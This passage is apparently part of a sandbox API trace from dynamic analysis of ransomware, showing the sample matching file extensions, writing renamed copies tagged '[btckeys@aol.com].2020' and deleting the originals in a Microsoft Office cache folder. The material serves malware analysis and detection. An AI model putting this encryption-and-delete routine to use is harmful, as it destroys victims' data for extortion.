(lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.964] lstrlenW (lpString=".ppt") returned 4 [0064.964] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.964] lstrlenW (lpString=".zip") returned 4 [0064.964] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.964] lstrlenW (lpString=".rar") returned 4 [0064.964] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.964] lstrlenW (lpString=".bz2") returned 4 [0064.965] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.965] lstrlenW (lpString=".7z") returned 3 [0064.965] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.965] lstrlenW (lpString=".dbf") returned 4 [0064.965] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.965] lstrlenW (lpString=".1cd") returned 4 [0064.965] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.965] lstrlenW (lpString=".jpg") returned 4 [0064.965] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.965] lstrlenW (lpString=".doc") returned 4 [0064.965] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.965] lstrlenW (lpString=".docx") returned 5 [0064.965] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.965] lstrlenW (lpString=".pdf") returned 4 [0064.965] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.965] lstrlenW (lpString=".xls") returned 4 [0064.965] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.965] lstrlenW (lpString=".xlsx") returned 5 [0064.965] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.965] lstrlenW (lpString=".ppt") returned 4 [0064.965] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.966] lstrlenW (lpString=".zip") returned 4 [0064.966] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.966] lstrlenW (lpString=".rar") returned 4 [0064.966] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.966] lstrlenW (lpString=".bz2") returned 4 [0064.966] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.966] lstrlenW (lpString=".7z") returned 3 [0064.966] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.966] lstrlenW (lpString=".dbf") returned 4 [0064.966] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.966] lstrlenW (lpString=".1cd") returned 4 [0064.966] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.966] lstrlenW (lpString=".jpg") returned 4 [0064.966] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.966] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0064.966] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0064.966] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0065.004] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=5557) returned 1 [0065.004] CloseHandle (hObject=0x1ac) returned 1 [0065.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0065.033] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.033] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0065.033] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.033] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.033] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0065.034] GetLastError () returned 0x0 [0065.034] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x15b5, lpOverlapped=0x0) returned 1 [0065.080] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0065.082] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0065.082] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xee, lpOverlapped=0x0) returned 1 [0065.082] SetEndOfFile (hFile=0x1bc) returned 1 [0065.093] CloseHandle (hObject=0x1bc) returned 1 [0065.114] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.114] SetEndOfFile (hFile=0x1ac) returned 1 [0065.115] CloseHandle (hObject=0x1ac) returned 1 [0065.115] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.116] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0065.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.116] lstrlenW (lpString=".doc") returned 4 [0065.116] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.116] lstrlenW (lpString=".docx") returned 5 [0065.116] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0065.116] lstrlenW (lpString=".pdf") returned 4 [0065.116] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.116] lstrlenW (lpString=".xls") returned 4 [0065.116] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.116] lstrlenW (lpString=".xlsx") returned 5 [0065.116] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0065.116] lstrlenW (lpString=".ppt") returned 4 [0065.117] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.117] lstrlenW (lpString=".zip") returned 4 [0065.117] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.117] lstrlenW (lpString=".rar") returned 4 [0065.117] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.117] lstrlenW (lpString=".bz2") returned 4 [0065.117] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.117] lstrlenW (lpString=".7z") returned 3 [0065.117] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.117] lstrlenW (lpString=".dbf") returned 4 [0065.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.117] lstrlenW (lpString=".1cd") returned 4 [0065.117] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.117] lstrlenW (lpString=".jpg") returned 4 [0065.117] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.117] lstrlenW (lpString=".doc") returned 4 [0065.117] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.117] lstrlenW (lpString=".docx") returned 5 [0065.117] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0065.118] lstrlenW (lpString=".pdf") returned 4 [0065.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.118] lstrlenW (lpString=".xls") returned 4 [0065.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.118] lstrlenW (lpString=".xlsx") returned 5 [0065.118] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0065.118] lstrlenW (lpString=".ppt") returned 4 [0065.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.118] lstrlenW (lpString=".zip") returned 4 [0065.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.118] lstrlenW (lpString=".rar") returned 4 [0065.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.118] lstrlenW (lpString=".bz2") returned 4 [0065.118] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.118] lstrlenW (lpString=".7z") returned 3 [0065.118] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.118] lstrlenW (lpString=".dbf") returned 4 [0065.118] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.118] lstrlenW (lpString=".1cd") returned 4 [0065.118] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.118] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0065.118] lstrlenW (lpString=".jpg") returned 4 [0065.118] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.119] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0065.119] lstrlenW (lpString="Setup.xml") returned 9 [0065.119] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0065.119] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=9352) returned 1 [0065.119] CloseHandle (hObject=0x1ac) returned 1 [0065.119] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0065.120] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.120] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0065.120] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.120] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.120] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0065.120] GetLastError () returned 0x0 [0065.120] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2488, lpOverlapped=0x0) returned 1 [0065.142] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2490, lpOverlapped=0x0) returned 1 [0065.143] ReadFile (in: hFile=0x1ac, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0065.144] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0065.144] SetEndOfFile (hFile=0x1bc) returned 1 [0065.144] CloseHandle (hObject=0x1bc) returned 1 [0065.149] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.149] SetEndOfFile (hFile=0x1ac) returned 1 [0065.150] CloseHandle (hObject=0x1ac) returned 1 [0065.150] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.150] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0065.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.151] lstrlenW (lpString=".doc") returned 4 [0065.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.151] lstrlenW (lpString=".docx") returned 5 [0065.151] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0065.151] lstrlenW (lpString=".pdf") returned 4 [0065.151] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.151] lstrlenW (lpString=".xls") returned 4 [0065.151] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.151] lstrlenW (lpString=".xlsx") returned 5 [0065.151] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0065.151] lstrlenW (lpString=".ppt") returned 4 [0065.151] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.151] lstrlenW (lpString=".zip") returned 4 [0065.151] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.151] lstrlenW (lpString=".rar") returned 4 [0065.151] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.151] lstrlenW (lpString=".bz2") returned 4 [0065.151] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.151] lstrlenW (lpString=".7z") returned 3 [0065.151] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.151] lstrlenW (lpString=".dbf") returned 4 [0065.151] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.151] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.152] lstrlenW (lpString=".1cd") returned 4 [0065.152] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.152] lstrlenW (lpString=".jpg") returned 4 [0065.152] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.152] lstrlenW (lpString=".doc") returned 4 [0065.152] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.152] lstrlenW (lpString=".docx") returned 5 [0065.152] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0065.152] lstrlenW (lpString=".pdf") returned 4 [0065.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.152] lstrlenW (lpString=".xls") returned 4 [0065.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.152] lstrlenW (lpString=".xlsx") returned 5 [0065.152] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0065.152] lstrlenW (lpString=".ppt") returned 4 [0065.152] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.152] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.152] lstrlenW (lpString=".zip") returned 4 [0065.152] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.152] lstrlenW (lpString=".rar") returned 4 [0065.152] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.152] lstrlenW (lpString=".bz2") returned 4 [0065.153] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.153] lstrlenW (lpString=".7z") returned 3 [0065.153] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.153] lstrlenW (lpString=".dbf") returned 4 [0065.153] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.153] lstrlenW (lpString=".1cd") returned 4 [0065.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0065.153] lstrlenW (lpString=".jpg") returned 4 [0065.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.153] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0065.153] lstrlenW (lpString="AccessMUI.xml") returned 13 [0065.153] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0065.606] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1349) returned 1 [0065.606] CloseHandle (hObject=0x16c) returned 1 [0065.606] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020 [0065.606] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0065.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0065.658] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.658] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.658] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0065.659] GetLastError () returned 0x0 [0065.659] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x545, lpOverlapped=0x0) returned 1 [0065.660] WriteFile (in: hFile=0x1c0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x550, lpOverlapped=0x0) returned 1 [0065.661] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0065.661] WriteFile (in: hFile=0x1c0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xee, lpOverlapped=0x0) returned 1 [0065.661] SetEndOfFile (hFile=0x1c0) returned 1 [0065.661] CloseHandle (hObject=0x1c0) returned 1 [0065.666] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0065.666] SetEndOfFile (hFile=0x16c) returned 1 [0065.667] CloseHandle (hObject=0x16c) returned 1 [0065.667] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0065.667] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1 [0065.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.667] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89 [0065.667] lstrlenW (lpString=".doc") returned 4 [0065.667] lstrcmpiW (lpString1=".doc", 